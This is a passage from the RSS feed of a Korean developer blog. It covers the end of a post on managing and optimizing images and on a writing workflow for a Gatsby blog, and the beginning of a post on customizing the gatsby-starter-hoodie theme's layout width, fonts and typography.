&lt;p&gt;마크다운에서 상대 경로로 참조합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;스크린샷&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;./images/screenshot-01.png&lt;/span&gt;)&lt;/span&gt;
&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;아키텍처 다이어그램&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;./images/architecture-diagram.png&lt;/span&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;장점&lt;/strong&gt;: 포스트와 이미지가 함께 관리되어 직관적입니다.
&lt;strong&gt;단점&lt;/strong&gt;: 리포지토리 용량이 커질 수 있습니다. GitHub 리포지토리의 권장 용량은 1GB 이하입니다.&lt;/p&gt;
&lt;h3&gt;GitHub Release 활용&lt;/h3&gt;
&lt;p&gt;리포지토리 용량을 아끼면서 이미지를 관리하는 방법입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GitHub 리포지토리 &gt; &lt;strong&gt;Releases&lt;/strong&gt; &gt; &lt;strong&gt;Draft a new release&lt;/strong&gt;로 이동합니다.&lt;/li&gt;
&lt;li&gt;이미지 파일을 드래그 앤 드롭으로 업로드합니다.&lt;/li&gt;
&lt;li&gt;생성된 URL을 마크다운에서 사용합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;스크린샷&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;https://github.com/username/repo/releases/download/v1.0/screenshot.png&lt;/span&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁&lt;/strong&gt;: GitHub Issues에 이미지를 드래그 앤 드롭하면 자동으로 &lt;code class=&quot;language-text&quot;&gt;user-images.githubusercontent.com&lt;/code&gt; URL이 생성됩니다. 이 URL을 복사해서 사용할 수도 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;외부 CDN 활용&lt;/h3&gt;
&lt;p&gt;이미지가 많은 블로그라면 별도의 CDN 서비스를 사용하는 것이 효율적입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare Images&lt;/strong&gt;: 합리적인 가격, 이미지 리사이징 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;imgbb&lt;/strong&gt;: 무료 이미지 호스팅&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GitHub 자체 CDN&lt;/strong&gt;: Issues/PR에 이미지를 업로드하면 생성되는 URL 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;이미지 최적화&lt;/h3&gt;
&lt;p&gt;이미지 크기가 크면 페이지 로딩 속도에 영향을 줍니다. 다음 사항을 지키면 좋습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;포맷&lt;/strong&gt;: 스크린샷은 PNG, 사진은 WebP 또는 JPEG를 사용합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;크기&lt;/strong&gt;: 콘텐츠 폭의 2배(Retina 대응) 정도가 적절합니다. 본문 폭이 760px이면 이미지 폭은 1520px 이하로 유지합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;압축&lt;/strong&gt;: &lt;a href=&quot;https://squoosh.app/&quot;&gt;Squoosh&lt;/a&gt;나 &lt;a href=&quot;https://tinypng.com/&quot;&gt;TinyPNG&lt;/a&gt;로 압축합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;alt 텍스트&lt;/strong&gt;: 접근성과 SEO를 위해 항상 의미 있는 대체 텍스트를 작성합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- 좋은 예 --&gt;&lt;/span&gt;

&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;Gatsby 프로젝트 폴더 구조&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;./images/folder-structure.png&lt;/span&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- 나쁜 예 --&gt;&lt;/span&gt;

![](./images/image1.png)
&lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;[&lt;span class=&quot;token content&quot;&gt;사진&lt;/span&gt;](&lt;span class=&quot;token url&quot;&gt;./images/photo.png&lt;/span&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;글쓰기 워크플로우&lt;/h2&gt;
&lt;p&gt;마지막으로, 실제 글쓰기 워크플로우를 정리합니다.&lt;/p&gt;
&lt;h3&gt;새 포스트 작성 과정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. 포스트 폴더 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; contents/posts/category-name/post-title

&lt;span class=&quot;token comment&quot;&gt;# 2. index.md 파일 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; contents/posts/category-name/post-title/index.md

&lt;span class=&quot;token comment&quot;&gt;# 3. frontmatter 작성&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 4. 본문 작성&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 5. 개발 서버에서 확인&lt;/span&gt;
gatsby develop

&lt;span class=&quot;token comment&quot;&gt;# 6. 문제가 없으면 커밋 및 배포&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feat: add new post - 포스트 제목&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; run deploy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;포스트 템플릿&lt;/h3&gt;
&lt;p&gt;매번 frontmatter를 처음부터 작성하는 것은 번거롭습니다. 아래 템플릿을 복사해서 사용하세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token front-matter-block&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token front-matter yaml language-yaml&quot;&gt;title: &quot;&quot;
description: &quot;&quot;
date: 2026-04-04
update: 2026-04-04
tags:
  -
series: &quot;&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/span&gt;

안녕하세요, &lt;span class=&quot;token bold&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;token content&quot;&gt;자바파커&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;**&lt;/span&gt;&lt;/span&gt;입니다.

(도입부: 이 글에서 다루는 내용과 독자가 얻을 수 있는 것)

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 섹션 1&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; 하위 섹션&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 섹션 2&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 자주 묻는 질문 (FAQ)&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; Q1.&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; Q2.&lt;/span&gt;

&lt;span class=&quot;token hr punctuation&quot;&gt;---&lt;/span&gt;

다음 포스팅에서는 ~ 다룹니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. 마크다운 에디터는 무엇을 추천하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;VS Code&lt;/strong&gt;를 가장 추천합니다. 마크다운 프리뷰(&lt;code class=&quot;language-text&quot;&gt;Ctrl+Shift+V&lt;/code&gt;), 마크다운 린트, 이미지 붙여넣기 등 블로그 글쓰기에 필요한 확장 기능이 풍부합니다. 추천 확장 프로그램은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Markdown All in One&lt;/strong&gt;: 단축키, 목차 생성, 서식 지원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Markdown Preview Enhanced&lt;/strong&gt;: 향상된 미리보기&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Paste Image&lt;/strong&gt;: 클립보드 이미지를 바로 붙여넣기&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;markdownlint&lt;/strong&gt;: 마크다운 문법 검사&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q2. 태그와 시리즈, 카테고리의 차이점은 무엇인가요?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;태그(tag)&lt;/strong&gt;: 포스트의 주제나 기술을 나타내는 키워드입니다. 하나의 포스트에 여러 태그를 붙일 수 있습니다. (예: &lt;code class=&quot;language-text&quot;&gt;javascript&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;react&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;tutorial&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;시리즈(series)&lt;/strong&gt;: 순서대로 읽어야 하는 연속 포스트를 그룹핑합니다. 하나의 포스트는 하나의 시리즈에만 속할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;카테고리&lt;/strong&gt;: gatsby-starter-hoodie에서는 폴더 구조로 카테고리를 대체합니다. 별도의 카테고리 frontmatter 필드는 없으며, 폴더 경로가 곧 카테고리 역할을 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q3. 이전에 작성한 글을 수정하면 date도 바꿔야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;date&lt;/code&gt;는 최초 작성일이므로 변경하지 않습니다. 대신 &lt;code class=&quot;language-text&quot;&gt;update&lt;/code&gt; 필드를 수정일로 갱신합니다. 이렇게 하면 목록 정렬 순서는 유지되면서 독자에게 &quot;최근 업데이트 됨&quot;을 알릴 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-04&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 최초 작성일 (변경하지 않음)&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token datetime number&quot;&gt;2026-04-10&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 수정일 (갱신)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;SEO 최적화&lt;/strong&gt; 방법을 다룹니다. 검색엔진에 블로그가 잘 노출되도록 메타 태그, 사이트맵, 구글 서치 콘솔 등록까지 실전 가이드를 알아보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Gatsby 블로그 스킨 커스터마이징 — 나만의 디자인 만들기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 지난 포스팅에서 Gatsby 블로그를 설치하고 배포까지 마쳤습니다. 하지만 기본 테마 그대로 사용하기에는 아쉬운 부분이 있습니다. 이번 포스팅에서는 gatsby-starter-hoodie…]]></description><link>https://blog.javapark.kr/02-customizing-skin/</link><guid isPermaLink="false">https://blog.javapark.kr/02-customizing-skin/</guid><pubDate>Sat, 04 Apr 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;지난 포스팅에서 Gatsby 블로그를 설치하고 배포까지 마쳤습니다. 하지만 기본 테마 그대로 사용하기에는 아쉬운 부분이 있습니다. 이번 포스팅에서는 gatsby-starter-hoodie 테마를 기준으로 블로그 디자인을 나만의 스타일로 커스터마이징하는 방법을 알아보겠습니다.&lt;/p&gt;
&lt;h2&gt;Gatsby 테마 구조 이해&lt;/h2&gt;
&lt;p&gt;커스터마이징을 시작하기 전에 테마의 폴더 구조를 이해하는 것이 중요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;src/
├── assets/
│   └── theme/
│       └── index.js        # 테마 색상, 크기 등 핵심 설정
├── components/
│   ├── Article/            # 본문 영역 컴포넌트
│   ├── Bio/                # 프로필 영역
│   ├── Header/             # 상단 헤더
│   ├── Layout/             # 전체 레이아웃
│   ├── Sidebar/            # 사이드바
│   └── ...
├── pages/
│   └── index.js            # 메인 페이지
└── templates/
    └── Post.js             # 개별 포스트 템플릿&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심 파일은 &lt;code class=&quot;language-text&quot;&gt;src/assets/theme/index.js&lt;/code&gt;입니다. 이 파일에서 색상, 크기, 폰트 등 대부분의 디자인 변수를 관리합니다.&lt;/p&gt;
&lt;h2&gt;콘텐츠 폭 조정&lt;/h2&gt;
&lt;p&gt;기본 테마의 콘텐츠 폭이 좁게 느껴진다면 조정할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Layout/Body 컴포넌트 수정&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;src/components/Layout/Body/index.js&lt;/code&gt; 파일을 찾아 &lt;code class=&quot;language-text&quot;&gt;max-width&lt;/code&gt; 값을 변경합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/Layout/Body/index.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; styled &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;styled-components&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;div&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  margin: 0 auto;
  padding-top: 80px;
  max-width: 680px; /* 기본값 */

  @media (max-width: 768px) {
    padding: 80px 16px 0;
  }
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 값을 필요에 따라 조정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Body &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;div&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  margin: 0 auto;
  padding-top: 80px;
  max-width: 760px; /* 더 넓은 콘텐츠 영역 */

  @media (max-width: 768px) {
    padding: 80px 20px 0;
  }
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁&lt;/strong&gt;: 너무 넓으면 한 줄에 글자 수가 많아져 가독성이 떨어집니다. 일반적으로 680px~800px 사이가 적당합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;테마 변수로 관리하기&lt;/h3&gt;
&lt;p&gt;반복 사용되는 값은 테마 변수로 관리하면 유지보수가 편리합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/assets/theme/index.js 에 추가&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;maxWidth&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;760px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;mobileBreakpoint&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;768px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;tabletBreakpoint&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1024px&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; size &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;타이포그래피 변경&lt;/h2&gt;
&lt;p&gt;블로그의 분위기를 결정짓는 가장 큰 요소는 폰트입니다.&lt;/p&gt;
&lt;h3&gt;웹 폰트 추가&lt;/h3&gt;
&lt;p&gt;Google Fonts나 눈누(Noonnu)에서 원하는 폰트를 선택합니다. &lt;code class=&quot;language-text&quot;&gt;gatsby-browser.js&lt;/code&gt;에서 웹 폰트를 로드하는 방법이 가장 간단합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-browser.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;./src/assets/fonts/fonts.css&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* src/assets/fonts/fonts.css */&lt;/span&gt;
&lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@import&lt;/span&gt; &lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token function&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string url&quot;&gt;&quot;https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@400;500;700&amp;amp;display=swap&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token atrule&quot;&gt;&lt;span class=&quot;token rule&quot;&gt;@import&lt;/span&gt; &lt;span class=&quot;token url&quot;&gt;&lt;span class=&quot;token function&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string url&quot;&gt;&quot;https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500&amp;amp;display=swap&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;폰트 적용&lt;/h3&gt;
&lt;p&gt;전역 스타일 또는 테마 파일에서 폰트를 적용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/assets/theme/index.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; fonts &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&apos;Noto Sans KR&apos;, -apple-system, BlinkMacSystemFont, &apos;Segoe UI&apos;, sans-serif&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&apos;JetBrains Mono&apos;, &apos;Fira Code&apos;, Consolas, monospace&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; fonts &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;styled-components에서 사용할 때는 다음과 같이 적용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; fonts &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../../assets/theme&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; Content &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; styled&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;div&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
  font-family: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;fonts&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;;
  font-size: 16px;
  line-height: 1.8;
  letter-spacing: -0.01em;
  word-break: keep-all;
&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;글꼴 크기와 행간 조정&lt;/h3&gt;
&lt;p&gt;가독성을 높이려면 &lt;strong&gt;line-height&lt;/strong&gt;(행간)와 &lt;strong&gt;letter-spacing&lt;/strong&gt;(자간) 조정이 중요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/* 추천 설정 */&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 16px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* 본문 기본 크기 */&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;line-height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.8&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* 행간: 1.6~1.8 추천 */&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;letter-spacing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; -0.01em&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* 한글은 약간 좁히면 자연스럽습니다 */&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;word-break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; keep-all&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* 한글 단어 단위 줄바꿈 */&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token selector&quot;&gt;h1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 2rem&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 700&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token selector&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1.5rem&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 700&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
